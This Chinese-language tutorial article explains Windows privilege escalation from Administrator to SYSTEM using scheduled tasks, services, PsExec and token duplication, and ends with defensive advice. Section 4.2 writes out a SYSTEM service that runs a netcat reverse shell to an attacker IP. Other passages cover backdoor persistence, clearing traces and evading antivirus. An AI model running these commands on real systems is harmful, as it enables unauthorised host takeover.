ARTICLE DETAIL

资讯详情

深耕商务建站与企业官网运营的一线实战洞察。

从Administrator到SYSTEM:Windows权限提升的核心原理与四种实战方法

从Administrator到SYSTEM:Windows权限提升的核心原理与四种实战方法 1. 项目概述权限提升的本质与场景在Windows系统管理和安全渗透测试领域从Administrator权限提升到SYSTEM权限是一个经典且核心的操作。很多刚接触这块的朋友可能会疑惑Administrator不就是电脑里最大的“官”了吗为什么还需要SYSTEM简单来说Administrator是用户账户权限的顶峰而SYSTEM是操作系统内核本身的权限是Windows中权限最高的安全主体。它不对应任何一个可登录的用户而是代表操作系统本身在运行。为什么需要这么做场景非常实际。比如你在管理一台服务器有些系统级服务如修改某些受保护的注册表键值、操作其他用户的进程内存、修复深度系统故障明确要求SYSTEM权限。又或者在安全评估中获取SYSTEM权限往往意味着完全控制了目标主机可以执行最隐蔽的持久化操作或访问所有数据。从热词中频繁出现的“你需要来自SYSTEM的权限才能对此文件夹进行更改”、“operation not permitted while system integrity protection”等错误提示也能看出理解和掌握权限提升方法是解决许多高级别系统问题的钥匙。本文将从一个实践者的角度深入剖析几种从Administrator到SYSTEM的可靠方式。我不会只给你命令更重要的是解释每种方法背后的原理、适用场景以及你可能遇到的坑。无论你是系统管理员、运维工程师还是安全研究人员这些内容都将是你工具箱里的硬核资产。2. 核心原理理解权限层级与令牌在动手之前我们必须先搞清楚背后的机制。否则你只是在死记硬背命令遇到变种环境就会束手无策。2.1 Administrator vs. SYSTEM谁才是真正的“神”Administrator是管理员组Administrators的成员拥有几乎所有的用户态操作权限可以安装软件、修改系统设置、管理其他用户。然而操作系统内核为了保护自己最核心的部件划定了一些“禁区”即使Administrator也无法直接触碰。这些禁区通常由TrustedInstaller或SYSTEM账户本身持有权限。SYSTEM账户也称为NT AUTHORITY\SYSTEM的权限则贯穿整个系统包括内核态。它可以加载驱动程序、直接读写物理内存、修改所有进程的令牌、访问任何注册表路径。你可以把它理解为“操作系统本身在干活时使用的身份”。许多核心系统服务如Windows Update、Task Scheduler的主服务都是以SYSTEM权限运行的。2.2 安全令牌权限的“身份证”Windows使用安全令牌Security Token来标识一个进程或线程的安全上下文。当你以Administrator登录时系统会为你创建一个包含你所属组如Administrators、Users和特权Privileges的令牌。进程继承这个令牌从而决定了它能做什么。权限提升的本质就是让我们的进程获取一个属于SYSTEM账户的安全令牌。这个令牌拥有最高的特权集合例如SeDebugPrivilege调试程序可用于操作其他进程、SeTcbPrivilege充当操作系统的一部分等。一旦我们的进程持有了SYSTEM令牌我们就拥有了与之等同的权限。2.3 常见提权路径的逻辑所有提权方法都围绕一个核心找到一个以SYSTEM权限运行的进程或服务然后通过某种方式“借用”或“劫持”它的安全上下文。主要路径有服务滥用创建或配置一个以SYSTEM运行的服务并让该服务执行我们的代码。计划任务滥用安排一个以SYSTEM运行的计划任务。进程注入/令牌窃取从一个已有的SYSTEM进程中复制其令牌并应用于我们的进程。利用漏洞利用系统内核或高权限服务中的漏洞直接获取权限本文侧重于前三种稳定、合法的方法。注意在生产环境或非自己完全拥有的系统上执行这些操作需格外谨慎并确保拥有合法授权。不当操作可能导致系统不稳定或触发安全警报。3. 方法一利用计划任务schtasks获取SYSTEM Shell这是最直观、最接近系统管理员日常操作的方法。计划任务服务Task Scheduler本身就以SYSTEM权限运行我们可以创建一个立即执行的任务让系统为我们启动一个SYSTEM权限的进程。3.1 基础命令与实操打开一个拥有Administrator权限的命令提示符CMD或PowerShell。最经典的命令是创建一个运行CMD的任务schtasks /create /tn SystemShell /sc once /st 00:00 /tr cmd.exe /ru SYSTEM /f schtasks /run /tn SystemShell参数拆解与原理/create创建新任务。/tn “SystemShell”任务名称可以自定义。/sc once调度类型为“一次”。我们目的不是定时而是立即运行。/st 00:00开始时间设为午夜。配合/sc once任务会被创建并处于待触发状态。/tr “cmd.exe”要运行的程序任务操作。这里就是启动命令提示符。/ru “SYSTEM”以SYSTEM账户运行关键参数。/f强制创建不提示确认。创建后使用/run参数立即执行该任务。此时系统会以SYSTEM身份启动一个新的cmd.exe进程。但是这个新窗口默认不会显示在当前用户的桌面上。3.2 交互式SYSTEM桌面的获取上述方法启动的CMD在后台我们需要与之交互。这里有一个经典技巧利用/i参数交互式和计划任务的“即时”特性schtasks /create /tn “SysInteractive” /sc once /st 00:00 /tr “cmd.exe /c start cmd.exe” /ru “SYSTEM” /f /it schtasks /run /tn “SysInteractive”关键改进“cmd.exe /c start cmd.exe”第一个cmd.exe是任务启动的进程它执行/c后面的命令start cmd.exe这会启动一个新的、独立的命令行窗口。/it这个参数组合至关重要。/i表示任务可以交互运行需要用户登录/t表示只在用户登录时才运行。加上/it这个新启动的CMD窗口就会奇迹般地出现在当前用户的桌面上并且顶栏显示为“SYSTEM”权限。实操心得这个方法成功率极高但在某些严格管控的环境如某些服务器核心版或启用了特定组策略禁止交互式服务登录时窗口可能无法弹出。此时可以尝试将任务的目标程序改为一个脚本或可执行文件将输出重定向到文件或者使用下一节的方法。3.3 清理与隐蔽性考量完成任务后务必清理痕迹这是一个好习惯schtasks /delete /tn “SystemShell” /f schtasks /delete /tn “SysInteractive” /f在安全评估中schtasks的创建和运行记录会留在系统的计划任务日志中事件查看器 - 应用程序和服务日志 - Microsoft - Windows - TaskScheduler。对于需要隐蔽的行动这不是最佳选择。4. 方法二利用服务控制管理器sc创建SYSTEM服务服务控制管理器Service Control Manager, SCM是管理Windows服务的核心组件。我们可以通过sc命令直接创建一个以SYSTEM运行的服务并通过启动服务来执行命令。4.1 创建并启动一个临时服务假设我们想通过服务启动一个SYSTEM权限的CMD并将其绑定到本地的一个端口例如用于远程连接我们可以这样做sc create SysService binPath “cmd.exe /k start cmd.exe” type own type interact start demand obj “LocalSystem” sc start SysService参数深度解析sc create SysService创建名为SysService的服务。binPath指定服务对应的可执行文件路径。等号后面必须有一个空格这是sc命令最经典的坑。我们这里让它启动一个交互式CMD。type own服务类型为独立服务。type interact允许服务与桌面交互这样才能看到窗口。在Windows 10/11及Server新版中交互式服务受到严格限制此方法可能无法弹出窗口。start demand启动类型为“手动”。obj “LocalSystem”指定运行账户为LocalSystem即SYSTEM。这是提权的核心。启动服务后如果交互式桌面允许你会看到一个新的SYSTEM权限的CMD窗口。4.2 更实用的后台执行与网络绑定由于交互式限制更可靠的方法是将服务指向一个能建立网络连接的后门或监听器。例如使用ncNetcat或PowerShell反弹一个SYSTEM权限的shellsc create RevShell binPath “cmd.exe /c c:\tools\nc.exe -e cmd.exe 192.168.1.100 4444” start demand obj “LocalSystem” sc start RevShell这条命令会创建一个服务启动后立即执行nc连接你的攻击机192.168.1.100:4444从而给你一个反向的SYSTEMshell。执行完毕后服务可能会停止或报错但这通常不影响已经建立的连接。注意事项路径空格问题binPath中的路径如果包含空格必须用双引号包裹整个路径例如binPath “\”C:\Program Files\My Tool\nc.exe\” -Ldp 4444 -e cmd.exe”。转义引号是关键。二进制路径确保binPath指向的可执行文件在目标系统上绝对存在且可访问。否则服务启动会失败错误1053。服务状态服务启动后即使命令执行完毕服务本身可能仍处于“启动”或“停止挂起”状态。记得清理sc delete RevShell。4.3 利用已有服务的修改高级除了创建新服务还可以尝试修改一个已存在的、以SYSTEM运行但启动类型为“手动”或“禁用”的服务的binPath。但修改系统服务风险极高极易导致系统不稳定或崩溃不推荐在生产环境尝试。思路是sc config “SomeExistingService” binPath “新的命令”然后启动它。完成后必须改回去。5. 方法三进程注入与令牌复制PsExec与手动实现这是更接近“黑客”思维的方法直接从一个以SYSTEM运行的进程中“借用”令牌。微软官方工具PsExec是此方法的典范。5.1 使用PsExec一键获取SYSTEMPsExec是Sysinternals套件中的神器。以Administrator身份运行以下命令PsExec64.exe -i -s cmd.exe参数解读-i交互式。让运行的程序与当前桌面交互。-s以SYSTEM账户运行。这是核心参数。cmd.exe要运行的程序。执行后会直接弹出一个新的CMD窗口其权限就是SYSTEM。PsExec的原理是创建一个远程服务在本地机器上来执行命令并通过管道与前端交互巧妙地完成了令牌的复制和进程创建。实操心得首次在某一台机器上运行PsExec时它会将Psexesvc.exe复制到目标的ADMIN$共享并注册为服务。这可能会被防病毒软件标记。使用-accepteula参数可以跳过许可协议。这是最干净、最快捷的方法之一但同样会在安全日志4688、7045等事件和进程列表中留下明显痕迹PsExec、Psexesvc。5.2 手动令牌复制原理与概念理解PsExec背后的手动方法能让你更深入地理解Windows安全模型。核心步骤涉及Windows API打开进程使用OpenProcess函数以足够的权限如PROCESS_QUERY_INFORMATION打开一个SYSTEM权限的进程句柄。常见的靶进程有winlogon.exe、services.exe、lsass.exe操作此进程风险极高或任何以SYSTEM运行的服务进程。打开进程令牌使用OpenProcessToken函数从该进程句柄获取其访问令牌的句柄。复制令牌使用DuplicateTokenEx函数复制该令牌并指定一个SecurityImpersonation或SecurityDelegation的模拟级别以及一个TokenPrimary类型创建一个新的主令牌。创建进程使用CreateProcessWithTokenW函数利用这个复制的SYSTEM主令牌创建一个新的进程如cmd.exe。这个过程通常需要编写一段C/C或PowerShell脚本。在渗透测试框架如Metasploit或Cobalt Strike中getsystem命令自动化完成了这一系列操作。警告手动操作lsass.exe等核心进程极易导致系统蓝屏BSOD。仅在测试环境或完全了解后果的情况下进行。6. 方法四其他实用技巧与场景化方案除了上述主流方法还有一些特定场景下非常有效的技巧。6.1 利用调试权限与进程附加Administrator默认拥有SeDebugPrivilege调试程序特权但默认是禁用的。我们可以启用它然后附加到SYSTEM进程。启用SeDebugPrivilege在Administrator的CMD中这通常需要一些工具或脚本。或者直接使用PsExec -s启动的SYSTEMCMD天然拥有此特权。进程注入使用调试API或类似CreateRemoteThread的技术将代码注入到SYSTEM进程如winlogon.exe的上下文中执行。这需要较高的编程技巧但非常隐蔽。6.2 利用计划任务执行PowerShell脚本在现代化环境中PowerShell更为强大。我们可以让计划任务执行一个PowerShell脚本来获取SYSTEM会话# 创建一个PowerShell脚本内容为启动一个SYSTEM权限的PowerShell $scriptContent “Start-Process PowerShell.exe -Verb RunAs -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -Command Start-Process cmd.exe -Verb RunAs’” $scriptContent | Out-File -FilePath C:\Temp\sys.ps1 -Encoding ASCII # 创建计划任务执行该脚本 schtasks /create /tn “PSSys” /tr “powershell.exe -ExecutionPolicy Bypass -File C:\Temp\sys.ps1” /sc once /st 00:00 /ru SYSTEM /f schtasks /run /tn “PSSys”这种方法结合了PowerShell的灵活性和计划任务的权限。6.3 绕过系统完整性保护SIP的思考从热词“operation not permitted while system integrity protection is engaged”可以看出在macOS或启用了类似保护的Windows配置如Credential Guard, Device Guard下直接操作受保护进程或文件会失败。在这些高强度安全环境下上述部分方法特别是令牌复制和进程注入可能会受阻。此时需要寻找未受保护但以SYSTEM运行的进程。有漏洞的驱动程序内核漏洞。错误配置的服务或计划任务如可写的服务路径、不安全的服务权限。 这进入了更高级的漏洞利用和提权领域。7. 常见问题、排查与防御视角7.1 执行失败常见错误与解决错误现象可能原因排查与解决思路“拒绝访问” (Access Denied)1. 当前Administrator令牌未以高完整性级别运行。2. 组策略禁止创建计划任务/服务。3. 防病毒/EDR软件拦截。1. 确保CMD/PowerShell是“以管理员身份运行”的。2. 检查gpedit.msc中相关策略如计算机配置-Windows设置-安全设置-本地策略-用户权限分配。3. 尝试禁用实时防护或添加排除项仅限测试环境。“服务未响应” (1053错误)sc create中binPath指定的可执行文件路径错误、不存在或无法执行。1. 仔细检查路径特别是空格和引号。2. 使用绝对路径。3. 确保文件存在于目标系统且SYSTEM账户有读取和执行权限。计划任务运行无窗口缺少/it参数或系统策略禁止交互式服务检测。1. 添加/it参数。2. 改用非交互式方法如网络反弹或文件输出。3. 检查策略“管理模板-Windows组件-应用程序兼容性-关闭应用程序兼容性引擎”等非必要勿动。PsExec被拦截文件被防病毒软件删除或网络共享访问被阻止。1. 对PsExec进行免杀处理仅限授权测试。2. 使用替代品如PAExec或采用纯sc/schtasks方法。令牌复制失败目标进程受保护如Protected Process Light, PPL或权限不足。1. 寻找非PPL的SYSTEM进程如某些第三方服务。2. 确保已成功启用SeDebugPrivilege和SeImpersonatePrivilege。7.2 从防御者视角看如何防范了解攻击手法是为了更好地防御。作为系统管理员可以采取以下措施最小权限原则日常操作不要使用Administrator账户。使用普通账户仅在需要时通过UAC提权。强化服务与计划任务定期审计以SYSTEM或高权限账户运行的服务和计划任务确保其二进制路径不可被低权限用户修改。启用高级安全审计启用审核进程创建4688事件和审核服务创建4697事件等策略监控异常的schtasks、sc或PsExec使用。部署终端检测与响应EDR现代EDR能够检测到令牌窃取、进程注入等可疑行为。应用控制策略使用Windows Defender应用程序控制WDAC或AppLocker限制只有授权的软件可以运行阻止PsExec等工具的执行。禁用不必要的功能在服务器上若非必要可禁用计划任务服务Schedule的远程管理功能或严格限制能创建任务和服务的用户。7.3 我的实操心得与选择建议经过大量实践我个人对几种方法的偏好如下追求简单快捷首选PsExec -s几乎是“开箱即用”。环境兼容性好schtasks /create /it方法在绝大多数Windows桌面和服务器系统上都有效是可靠的备选方案。需要持久化或后台执行使用sc create创建服务指向一个稳定的后门或监听器。进行安全评估会依次尝试schtasks、sc、PsExec并手动检查令牌复制漏洞。同时一定要清理痕迹schtasks /delete和sc delete是你的好朋友。最后记住权限越大责任越大。SYSTEM权限可以对系统做任何事包括瞬间破坏它。每一次提权操作前都请明确你的目的并在可控的环境中进行测试。
返回列表
PREV
查看更多资讯
NEXT
返回资讯列表